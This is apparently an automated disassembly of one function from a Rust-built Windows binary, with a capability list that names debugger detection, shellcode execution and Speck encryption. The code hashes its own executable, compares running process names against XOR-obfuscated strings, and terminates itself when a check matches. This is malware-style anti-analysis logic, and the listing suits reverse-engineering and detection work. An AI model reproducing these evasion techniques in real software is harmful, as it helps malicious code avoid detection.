Function at 0x10001eb0
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Check for hardware breakpoints
Check for peb beingdebugged flag
Check for peb ntglobalflag flag
Check systemkerneldebuggerinformation
Encode data using base64
Encrypt data using speck
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get number of processors
Get system information on windows
Hash data using sha256
Manually build aes constants
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x530
lea esi, [esp + 0x4a0]
push esi
call sym.sysinfo::common::system::System::new_all::h797bdcbfc4a29777
add esp, 4
push esi
call sym.sysinfo::common::system::System::refresh_all::h8762651a128de46b
add esp, 4
lea esi, [esp + 0xe0]
push esi
call sym.std::env::current_exe::hd85a44db1a535069
add esp, 4
cmp dword [esp + 0xe0], 0x80000000
jne 0x10001f93
cmp byte [esp + 0xe4], 3
mov dword [esp + 0xb0], 0x80000000
jne 0x10001f4e
mov esi, dword [esp + 0xe8]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
test eax, eax
je 0x10001f26
push edi
call eax
add esp, 4
mov eax, dword [ebx + 4]
test eax, eax
je 0x10001f3a
push dword [ebx + 8]
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
push 4
push 0xc
push esi
call sym.___rust_dealloc
add esp, 0xc
lea esi, [esp + 0xe0]
cmp dword [esp + 0xb0], 0x80000000
jne 0x10001fc4
mov al, 1
mov dword [esp + 8], 0
mov dword [esp + 0x2c], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x20], eax
mov al, 1
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0x4cc]
test ecx, ecx
jne 0x10002be3
jmp 0x100043ce
movq xmm0, qword [esp + 0xe0]
movq xmm1, qword [esp + 0xe8]
movq qword [esp + 0xb8], xmm1
movq qword [esp + 0xb0], xmm0
cmp dword [esp + 0xb0], 0x80000000
je 0x10001f5b
lea eax, [esp + 0xb0]
push eax
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h8cd84770b6c4b687
add esp, 4
push edx
push eax
call sym.std::path::Path::file_name::h137acbf9c35ebc1a
add esp, 8
mov cl, 1
test eax, eax
mov dword [esp + 0x30], ecx
je 0x10002038
push edx
push eax
push esi
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::hfc18d045c7892185
add esp, 0xc
mov eax, dword [esp + 0xe8]
mov esi, dword [esp + 0xe4]
test eax, eax
mov dword [esp + 0x14], eax
je 0x100021ee
js 0x10005746
mov eax, dword [0x101918ac]
movzx eax, byte [eax]
push 1
push dword [esp + 0x18]
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x1000574a
mov edi, eax
jmp 0x100021f3
mov al, 1
mov dword [esp + 0x2c], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x20], eax
cmp dword [esp + 0xb0], 0x80000000
je 0x10002bcc
movq xmm0, qword [esp + 0xb0]
movq xmm1, qword [esp + 0xb8]
movq qword [esp + 0x40], xmm1
movq qword [esp + 0x38], xmm0
lea eax, [esp + 0x38]
push eax
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h8cd84770b6c4b687
add esp, 4
lea ecx, [esp + 0x494]
push edx
push eax
push ecx
call sym.std::fs::read::inner::hb3f551a5050347ef
add esp, 0xc
mov eax, dword [esp + 0x494]
cmp eax, 0x80000000
jne 0x100020fd
cmp byte [esp + 0x498], 3
jne 0x10002b39
mov esi, dword [esp + 0x49c]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
test eax, eax
je 0x100020d0
push edi
call eax
add esp, 4
mov eax, dword [ebx + 4]
test eax, eax
je 0x100020e4
push dword [ebx + 8]
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
push 4
push 0xc
push esi
call sym.___rust_dealloc
add esp, 0xc
lea esi, [esp + 0xe0]
jmp 0x10002b39
mov ebx, dword [esp + 0x49c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x498]
pxor xmm0, xmm0
lea esi, [esp + 0x428]
mov byte [esp + 0x468], 0
movq qword [esp + 0x460], xmm0
movq qword [esp + 0x458], xmm0
movq qword [esp + 0x450], xmm0
movq qword [esp + 0x448], xmm0
movq qword [esp + 0x440], xmm0
movq qword [esp + 0x438], xmm0
movq qword [esp + 0x430], xmm0
movq qword [esp + 0x428], xmm0
mov dword [esp + 0x400], 0x6a09e667
mov dword [esp + 0x404], 0xbb67ae85
mov dword [esp + 0x408], 0x3c6ef372
mov dword [esp + 0x40c], 0xa54ff53a
mov dword [esp + 0x410], 0x510e527f
mov dword [esp + 0x414], 0x9b05688c
mov dword [esp + 0x418], 0x1f83d9ab
mov dword [esp + 0x41c], 0x5be0cd19
mov dword [esp + 0x424], 0
mov dword [esp + 0x420], 0
cmp ebx, 0x40
mov dword [esp + 4], eax
mov dword [esp + 0x10], ebx
jae 0x100023a2
jmp 0x100023d9
mov edi, 1
mov ebx, dword [esp + 0x14]
push ebx
push esi
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xe0]
test eax, 0x7fffffff
jne 0x1000235b
test ebx, ebx
je 0x1000236f
mov eax, dword [0x101918ac]
mov dword [esp + 4], edi
movzx eax, byte [eax]
push 1
push ebx
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x1000575e
mov esi, eax
mov edi, eax
push ebx
push dword [esp + 8]
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp ebx, 8
mov ecx, esi
mov dword [esp + 0x2c], esi
jb 0x10002b72
mov edx, dword [esp + 0x14]
xor eax, eax
cmp edx, 0x20
jb 0x100022fb
movdqa xmm0, xmmword [section..rdata]
movdqa xmm1, xmmword [0x1011e010]
movdqa xmm2, xmmword [0x1011e020]
mov eax, edx
lea ecx, [esi + 0x10]
and eax, 0xffffffe0
mov edx, eax
nop dword [eax]
movdqu xmm4, xmmword [ecx - 0x10]
movdqu xmm3, xmmword [ecx]
movdqa xmm5, xmm4
movdqa xmm6, xmm3
paddb xmm5, xmm0
paddb xmm6, xmm0
movdqa xmm7, xmm5
pminub xmm7, xmm1
pcmpeqb xmm7, xmm5
movdqa xmm5, xmm6
pminub xmm5, xmm1
pand xmm7, xmm2
pcmpeqb xmm5, xmm6
por xmm7, xmm4
pand xmm5, xmm2
movdqu xmmword [ecx - 0x10], xmm7
por xmm5, xmm3
movdqu xmmword [ecx], xmm5
add ecx, 0x20
add edx, 0xffffffe0
jne 0x10002290
cmp dword [esp + 0x14], eax
je 0x10002b9a
test byte [esp + 0x14], 0x18
je 0x10002b6e
mov edx, dword [esp + 0x14]
movdqa xmm0, xmmword [0x1011e030]
movdqa xmm1, xmmword [0x1011e040]
movdqa xmm2, xmmword [0x1011e050]
and edx, 0xfffffff8
lea ebx, [esi + eax]
lea ecx, [esi + edx]
sub eax, edx
nop
movq xmm3, qword [ebx]
movdqa xmm4, xmm3
paddb xmm4, xmm0
movdqa xmm5, xmm4
pmaxub xmm5, xmm1
pcmpeqb xmm5, xmm4
pandn xmm5, xmm2
por xmm5, xmm3
movq qword [ebx], xmm5
add ebx, 8
add eax, 8
jne 0x10002320
cmp dword [esp + 0x14], edx
jne 0x10002b72
jmp 0x10002b9a
push 1
push eax
push esi
call sym.___rust_dealloc
add esp, 0xc
test ebx, ebx
jne 0x1000221c
mov al, 1
mov dword [esp + 0x2c], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x20], eax
lea esi, [esp + 0xe0]
cmp dword [esp + 0xb0], 0x80000000
jne 0x1000205f
jmp 0x10002bcc
mov edx, eax
mov eax, ebx
mov dword [esp + 0x424], 0
shr eax, 6
mov dword [esp + 0x420], eax
lea ecx, [esp + 0x400]
push eax
push edx
push ecx
call sym.sha2::sha256::compress256::hb9c41e88887647ca
add esp, 0xc
mov eax, ebx
and ebx, 0x3f
and eax, 0xffffffc0
add eax, dword [esp + 4]
push ebx
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [esp + 0x468], bl
lea edi, [esp + 0xe0]
lea esi, [esp + 0x400]
mov ecx, 0x1c
rep movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 0x148]
mov eax, dword [esp + 0x100]
mov esi, dword [esp + 0x104]
shld esi, eax, 9
shl eax, 9
lea edi, [ebx*8]
mov byte [esp + ebx + 0x108], pe_nt_image_headers32
or edi, eax
mov eax, ebx
xor eax, 0x3f
je 0x10002448
lea ecx, [esp + ebx + 0x109]
push eax
push 0
push ecx
call sub.msvcrt.dll_memset
add esp, 0xc
xor ebx, 0x38
lea eax, [esp + 0x108]
bswap edi
bswap esi
cmp ebx, 7
ja 0x100024c2
push 1
push eax
lea eax, [esp + 0xe8]
push eax
call sym.sha2::sha256::compress256::hb9c41e88887647ca
add esp, 0xc
mov ebx, dword [esp + 0x10]
pxor xmm0, xmm0
movq qword [esp + 0xa0], xmm0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x90], xmm0
movdqa xmmword [esp + 0x80], xmm0
movdqa xmmword [esp + 0x70], xmm0
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], edi
lea eax, [esp + 0x70]
push 1
push eax
lea eax, [esp + 0xe8]
push eax
call sym.sha2::sha256::compress256::hb9c41e88887647ca
add esp, 0xc
jmp 0x100024e7
mov dword [esp + 0x140], esi
mov dword [esp + 0x144], edi
push 1
push eax
lea eax, [esp + 0xe8]
push eax
call sym.sha2::sha256::compress256::hb9c41e88887647ca
add esp, 0xc
mov ebx, dword [esp + 0x10]
movdqu xmm2, xmmword [esp + 0xe0]
pxor xmm0, xmm0
movdqu xmm1, xmmword [esp + 0xf0]
movdqa xmmword [esp + 0x430], xmm0
movdqa xmmword [esp + 0x420], xmm0
movdqa xmmword [esp + 0x410], xmm0
movdqa xmmword [esp + 0x400], xmm0
mov dword [esp + 0x450], 0
mov dword [esp + 0x454], 0
movdqa xmm3, xmm2
punpcklbw xmm2, xmm0
punpckhbw xmm3, xmm0
pshuflw xmm2, xmm2, 0x1b
pshuflw xmm3, xmm3, 0x1b
pshufhw xmm2, xmm2, 0x1b
pshufhw xmm3, xmm3, 0x1b
packuswb xmm2, xmm3
movdqa xmm3, xmm1
punpcklbw xmm1, xmm0
punpckhbw xmm3, xmm0
movdqa xmm0, xmmword [0x1011e060]
pshuflw xmm1, xmm1, 0x1b
movdqu xmmword [esp + 0x3d4], xmm2
pshuflw xmm3, xmm3, 0x1b
pshufhw xmm1, xmm1, 0x1b
pshufhw xmm3, xmm3, 0x1b
packuswb xmm1, xmm3
movdqu xmmword [esp + 0x3e4], xmm1
movdqa xmmword [esp + 0x440], xmm0
push ebx
push dword [esp + 8]
lea eax, [esp + 0x408]
push eax
call sym.md5::consume::h29f6fce2a5e1fe4d
add esp, 0xc
movaps xmm1, xmmword [esp + 0x440]
movaps xmm2, xmmword [esp + 0x430]
movq xmm0, qword [esp + 0x450]
movaps xmmword [esp + 0x120], xmm1
movaps xmm1, xmmword [esp + 0x420]
movaps xmmword [esp + 0x110], xmm2
movdqa xmm2, xmmword [esp + 0x400]
movq qword [esp + 0x130], xmm0
movaps xmmword [esp + 0x100], xmm1
movdqa xmm1, xmmword [esp + 0x410]
movdqa xmmword [esp + 0xe0], xmm2
movdqa xmmword [esp + 0xf0], xmm1
lea eax, [esp + 0x3b8]
lea ecx, [esp + 0xe0]
push ecx
push eax
call sym.md5::Context::compute::h40aa29b1f4a75f7d
add esp, 8
movdqa xmm1, xmmword [0x1011e060]
pxor xmm0, xmm0
cmp ebx, 0x40
lea esi, [esp + 0x420]
mov byte [esp + 0x460], 0
movq qword [esp + 0x458], xmm0
movq qword [esp + 0x450], xmm0
movq qword [esp + 0x448], xmm0
movq qword [esp + 0x440], xmm0
movq qword [esp + 0x438], xmm0
movq qword [esp + 0x430], xmm0
movq qword [esp + 0x428], xmm0
movq qword [esp + 0x420], xmm0
mov dword [esp + 0x404], 0
mov dword [esp + 0x400], 0
movdqu xmmword [esp + 0x408], xmm1
mov dword [esp + 0x418], 0xc3d2e1f0
jae 0x100026ce
push ebx
push dword [esp + 8]
jmp 0x10002708
mov ecx, ebx
lea eax, [esp + 0x408]
mov dword [esp + 0x404], 0
shr ecx, 6
mov dword [esp + 0x400], ecx
push ecx
push dword [esp + 8]
push eax
call sym.sha1::compress::compress::hfdd4494b7c8e2315
add esp, 0xc
mov eax, ebx
and ebx, 0x3f
and eax, 0xffffffc0
add eax, dword [esp + 4]
push ebx
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [esp + 0x460], bl
lea edi, [esp + 0xe0]
lea esi, [esp + 0x400]
mov ecx, 0x1a
rep movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 0x140]
mov eax, dword [esp + 0xe0]
mov esi, dword [esp + 0xe4]
movsd xmm0, qword [esp + 0xf0]
shld esi, eax, 9
shl eax, 9
lea edi, [ebx*8]
movsd qword [esp + 0xc8], xmm0
movq xmm0, qword [esp + 0xe8]
or edi, eax
mov eax, dword [esp + 0xf8]
mov byte [esp + ebx + 0x100], pe_nt_image_headers32
movq qword [esp + 0xc0], xmm0
mov dword [esp + 0xd0], eax
mov eax, ebx
xor eax, 0x3f
je 0x100027a7
lea ecx, [esp + ebx + 0x101]
push eax
push 0
push ecx
call sub.msvcrt.dll_memset
add esp, 0xc
xor ebx, 0x38
lea eax, [esp + 0x100]
bswap edi
bswap esi
cmp ebx, 7
ja 0x10002816
lea ebx, [esp + 0xc0]
push 1
push eax
push ebx
call sym.sha1::compress::compress::hfdd4494b7c8e2315
add esp, 0xc
pxor xmm0, xmm0
movq qword [esp + 0xa0], xmm0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x90], xmm0
movdqa xmmword [esp + 0x80], xmm0
movdqa xmmword [esp + 0x70], xmm0
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], edi
lea eax, [esp + 0x70]
push 1
push eax
push ebx
call sym.sha1::compress::compress::hfdd4494b7c8e2315
add esp, 0xc
jmp 0x10002837
mov dword [esp + 0x138], esi
mov dword [esp + 0x13c], edi
lea ecx, [esp + 0xc0]
push 1
push eax
push ecx
call sym.sha1::compress::compress::hfdd4494b7c8e2315
add esp, 0xc
movdqu xmm1, xmmword [esp + 0xc0]
mov eax, dword [esp + 0xd0]
pxor xmm0, xmm0
mov dword [esp + 0xe0], 0x1011e198
mov dword [esp + 0xe4], 1
mov dword [esp + 0xf0], 0
movdqa xmm2, xmm1
punpcklbw xmm1, xmm0
bswap eax
punpckhbw xmm2, xmm0
pshuflw xmm0, xmm1, 0x1b
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm0, xmm0, 0x1b
pshufhw xmm2, xmm2, 0x1b
packuswb xmm0, xmm2
movdqu xmmword [esp + 0x70], xmm0
mov dword [esp + 0x80], eax
lea eax, [esp + 0x3d4]
mov dword [esp + 0x400], eax
lea eax, [esp + 0x400]
mov dword [esp + 0x404], 0x1000bb10
mov dword [esp + 0xe8], eax
mov dword [esp + 0xec], 1
lea eax, [esp + 0x3c8]
lea ecx, [esp + 0xe0]
push ecx
push eax
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
mov eax, dword [esp + 0x3cc]
mov esi, dword [esp + 0x3c8]
lea ebx, [esp + 0x400]
mov dword [esp + 0xe0], 0x1011e198
mov dword [esp + 0xe4], 1
mov dword [esp + 0xf0], 0
mov dword [esp + 0xe8], ebx
mov dword [esp + 0xec], 1
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x3d0]
mov dword [esp + 8], eax
lea eax, [esp + 0x3b8]
mov dword [esp + 0x400], eax
mov dword [esp + 0x404], 0x100171d0
lea eax, [esp + 0x3f4]
lea edi, [esp + 0xe0]
push edi
push eax
mov dword [esp + 0x20], esi
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
mov eax, dword [esp + 0x3f4]
mov dword [esp + 0xe0], 0x1011e198
mov dword [esp + 0xe4], 1
mov dword [esp + 0xf0], 0
mov dword [esp + 0xe8], ebx
mov dword [esp + 0xec], 1
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x3f8]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x3fc]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x70]
mov dword [esp + 0x400], eax
mov dword [esp + 0x404], 0x1000bbe0
lea eax, [esp + 0xd4]
push edi
push eax
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0xd8]
mov edx, dword [esp + 0xd4]
mov edi, dword [esp + 0xdc]
cmp esi, dword [esp + 8]
mov dword [esp + 0x30], eax
jne 0x10002a2c
push esi
push dword [esp + 0x28]
push dword [esp + 0x34]
mov ebx, edx
call sub.msvcrt.dll_memcmp
mov edx, ebx
add esp, 0xc
test eax, eax
je 0x10002a6b
cmp esi, dword [esp + 0x28]
jne 0x10002a4b
push esi
push dword [esp + 0x20]
push dword [esp + 0x34]
mov ebx, edx
call sub.msvcrt.dll_memcmp
mov edx, ebx
add esp, 0xc
test eax, eax
je 0x10002a6b
cmp esi, edi
jne 0x10002a7b
push esi
push dword [esp + 0x34]
push dword [esp + 0x34]
mov esi, edx
call sub.msvcrt.dll_memcmp
mov edx, esi
add esp, 0xc
test eax, eax
sete bl
jmp 0x10002a7d
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov bl, 1
jmp 0x10002a89
xor ebx, ebx
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea esi, [esp + 0xe0]
test edx, edx
je 0x10002aab
push 1
push edx
push dword [esp + 0x38]
call sym.___rust_dealloc
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
add esp, 0xc
test ecx, ecx
je 0x10002ac2
push 1
push ecx
push dword [esp + 0x24]
call sym.___rust_dealloc
mov eax, dword [esp + 0x18]
add esp, 0xc
test edi, edi
je 0x10002ad9
push 1
push edi
push dword [esp + 0x2c]
call sym.___rust_dealloc
mov eax, dword [esp + 0x18]
add esp, 0xc
test eax, eax
je 0x10002aec
push 1
push eax
push dword [esp + 0xc]
call sym.___rust_dealloc
add esp, 0xc
test bl, bl
je 0x10002b39
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10002b0c
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [esp + 0x38]
test eax, eax
je 0x10002b23
push 1
push eax
push dword [esp + 0x44]
call sym.___rust_dealloc
add esp, 0xc
cmp byte [esp + 0x20], 0
mov al, 1
mov dword [esp + 8], eax
je 0x100046b2
jmp 0x100046f4
mov eax, dword [esp + 0x38]
test eax, eax
je 0x10002b50
push 1
push eax
push dword [esp + 0x44]
call sym.___rust_dealloc
add esp, 0xc
mov al, 1
mov dword [esp + 0x30], 0
mov dword [esp + 8], eax
mov ecx, dword [esp + 0x4cc]
test ecx, ecx
jne 0x10002be3
jmp 0x100043ce
add eax, esi
mov ecx, eax
add esi, dword [esp + 0x14]
nop word cs:[eax + eax]
movzx eax, byte [ecx]
mov edx, eax
add dl, 0xbf
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
mov byte [ecx], dl
inc ecx
cmp ecx, esi
jne 0x10002b80
push 1
push dword [esp + 0x18]
push dword [esp + 0xc]
call sym.___rust_dealloc
add esp, 0xc
mov dword [esp + 0x20], 0
lea esi, [esp + 0xe0]
cmp dword [esp + 0xb0], 0x80000000
jne 0x1000205f
mov dword [esp + 8], 0
mov ecx, dword [esp + 0x4cc]
test ecx, ecx
je 0x100043ce
mov edx, dword [esp + 0x4c0]
mov dword [esp + 0x28], 0
movdqa xmm0, xmmword [edx]
lea edi, [edx + 0x10]
pmovmskb eax, xmm0
not eax
test ax, ax
mov dword [esp + 0x10], edi
mov dword [esp + 0x24], ecx
je 0x10002c20
lea ecx, [eax - 1]
and ecx, eax
mov dword [esp + 0x18], ecx
jmp 0x10002c5d
mov ecx, dword [esp + 0x10]
nop word cs:[eax + eax]
nop
movdqa xmm0, xmmword [ecx]
add edx, 0xfffff100
add ecx, 0x10
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x10002c30
mov dword [esp + 0x10], ecx
mov ecx, 0xfffffffe
sub ecx, eax
not eax
mov edi, eax
and edi, ecx
mov dword [esp + 0x18], edi
tzcnt eax, eax
mov dword [esp + 0x1c], edx
neg eax
imul eax, eax, 0xf0
lea eax, [edx + eax - 0xe8]
push eax
call sym.sysinfo::common::system::Process::name::h72f6de0986a3e0a8
add esp, 4
push edx
push eax
push esi
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::hfc18d045c7892185
add esp, 0xc
mov ecx, dword [esp + 0xe8]
mov eax, dword [esp + 0xe4]
test ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 4], ecx
je 0x10002e20
js 0x1000568c
mov eax, dword [0x101918ac]
movzx eax, byte [eax]
push 1
push ecx
mov edi, ecx
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x10005683
mov esi, eax
mov ebx, eax
push edi
push dword [esp + 0x10]
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movdqa xmm5, xmmword [0x1011e030]
movdqa xmm6, xmmword [0x1011e040]
movdqa xmm7, xmmword [0x1011e050]
cmp edi, 8
mov ecx, esi
jb 0x10002e50
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, 0x20
jb 0x10002dc1
movdqa xmm5, xmmword [section..rdata]
movdqa xmm6, xmmword [0x1011e010]
movdqa xmm7, xmmword [0x1011e020]
mov eax, ecx
lea ecx, [esi + 0x10]
and eax, 0x7fffffe0
mov edx, eax
nop word cs:[eax + eax]
nop dword [eax + eax]
movdqu xmm1, xmmword [ecx - 0x10]
movdqu xmm0, xmmword [ecx]
movdqa xmm2, xmm1
movdqa xmm3, xmm0
paddb xmm2, xmm5
paddb xmm3, xmm5
movdqa xmm4, xmm2
pminub xmm4, xmm6
pcmpeqb xmm4, xmm2
movdqa xmm2, xmm3
pminub xmm2, xmm6
pand xmm4, xmm7
pcmpeqb xmm2, xmm3
por xmm4, xmm1
pand xmm2, xmm7
movdqu xmmword [ecx - 0x10], xmm4
por xmm2, xmm0
movdqu xmmword [ecx], xmm2
add ecx, 0x20
add edx, 0xffffffe0
jne 0x10002d40
cmp dword [esp + 4], eax
movdqa xmm5, xmmword [0x1011e030]
movdqa xmm6, xmmword [0x1011e040]
movdqa xmm7, xmmword [0x1011e050]
je 0x10002e7a
mov ecx, dword [esp + 4]
test cl, 0x18
je 0x10002e48
mov edi, ecx
lea edx, [esi + eax]
and edi, 0x7ffffff8
lea ecx, [esi + edi]
sub eax, edi
mov dword [esp + 0x34], edi
nop word cs:[eax + eax]
nop
movq xmm0, qword [edx]
movdqa xmm1, xmm0
paddb xmm1, xmm5
movdqa xmm2, xmm1
pmaxub xmm2, xmm6
pcmpeqb xmm2, xmm1
pandn xmm2, xmm7
por xmm2, xmm0
movq qword [edx], xmm2
add edx, 8
add eax, 8
jne 0x10002de0
mov eax, dword [esp + 0x34]
cmp dword [esp + 4], eax
jne 0x10002e50
jmp 0x10002e7a
mov ebx, 1
mov eax, dword [esp + 0xe0]
test eax, 0x7fffffff
je 0x10002e93
push 1
push eax
push dword [esp + 0x14]
call sym.___rust_dealloc
mov ecx, dword [esp + 0x10]
add esp, 0xc
jmp 0x10002e93
add eax, esi
mov ecx, eax
nop dword [eax]
add esi, dword [esp + 4]
nop word cs:[eax + eax]
nop
movzx eax, byte [ecx]
mov edx, eax
add dl, 0xbf
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
mov byte [ecx], dl
inc ecx
cmp ecx, esi
jne 0x10002e60
mov ecx, dword [esp + 4]
lea esi, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
test eax, 0x7fffffff
jne 0x10002e33
mov eax, dword [esp + 0x14]
cmp ecx, eax
jne 0x10002ec0
push eax
push dword [esp + 0x30]
push ebx
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10002ec0
cmp dword [esp + 0x28], 0
mov dword [esp + 0x28], 1
jg 0x10005653
lea eax, [0x1011494a]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x38023908
push dword [esp + 0xe0]
push eax
mov dword [esp + 0x14], ebx
call sym.obfstr::xref::inner::h68b3355d0b49b9de
add esp, 8
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
mov edi, 0xa96ae19e
mov ebx, dword [eax + 0xc]
movzx eax, byte [eax + 0x10]
xor ecx, edi
xor al, 0x9a
mov dword [esp + 0xe0], ecx
mov ecx, 0x5e723d72
xor edx, ecx
mov ecx, 0x2252421c
xor esi, ecx
mov ecx, 0x282f1594
mov dword [esp + 0xe4], edx
xor ebx, ecx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov dword [esp + 0xec], ebx
mov ebx, dword [esp + 0xc]
mov byte [esp + 0xf0], al
mov edx, 0x11
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011540f]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x5e060bc5
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h3de15ff5cc080eec
add esp, 8
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
mov edi, 0xd34ac508
movzx eax, byte [eax + 0xc]
xor ecx, edi
xor al, 0x2e
mov dword [esp + 0xe0], ecx
mov ecx, 0xf69b9f5d
xor edx, ecx
mov ecx, 0x2b7fc145
xor esi, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov byte [esp + 0xec], al
mov edx, 0xd
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10113a87]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xb5798e6
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h3772950fdc812ed2
add esp, 8
mov ecx, dword [eax]
mov edx, 0x8877003d
xor ecx, edx
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0xe0], ecx
mov ecx, 0x666214a5
xor edx, ecx
mov ecx, 0xba227d1e
xor eax, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], eax
mov edx, 0xc
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x101118ce]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xa86d34b6
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h724949cce5ae9f2f
add esp, 8
mov ecx, dword [eax]
mov edx, 0xb8cb0228
xor ecx, edx
mov edx, dword [eax + 4]
mov esi, dword [eax + 8]
mov ebx, dword [eax + 0xc]
movzx eax, word [eax + 0x10]
mov dword [esp + 0xe0], ecx
mov ecx, 0xc943a38f
xor edx, ecx
mov ecx, 0x1b71bfd6
xor al, 0x5f
xor ah, 0x17
xor esi, ecx
mov ecx, 0xbde65bf3
mov dword [esp + 0xe4], edx
xor ebx, ecx
mov dword [esp + 0xe8], esi
lea esi, [esp + 0xe0]
mov dword [esp + 0xec], ebx
mov ebx, dword [esp + 0xc]
mov byte [esp + 0xf0], al
mov byte [esp + 0xf1], ah
mov edx, 0x12
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011d5c2]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xf22ee3ac
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h23659d36e0b32dd6
add esp, 8
mov ecx, dword [eax]
mov edx, 0xd6d29162
xor ecx, edx
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0xe0], ecx
mov ecx, 0x1b2cf0bd
xor edx, ecx
mov ecx, 0x22595620
xor eax, ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], eax
mov edx, 0xc
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x1011731d]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xa08a5461
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h5ded5e776cdded7b
add esp, 8
mov edx, dword [eax]
mov ecx, 0x166b7e17
mov esi, dword [eax + 4]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
mov dword [esp + 0xe0], edx
mov edx, 0x4c9dfaa3
xor esi, edx
mov dword [esp + 0xe4], esi
lea esi, [esp + 0xe0]
xor al, 0xa7
xor ah, 0x8b
xor cl, 0xf5
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
mov byte [esp + 0xea], cl
mov edx, 0xb
mov ecx, esi
push dword [esp + 4]
push ebx
call fcn.100018e0
add esp, 8
test al, al
jne 0x1000467b
lea eax, [0x10110ad1]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x994e9b47
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hf3d17211782f888c
add esp, 8
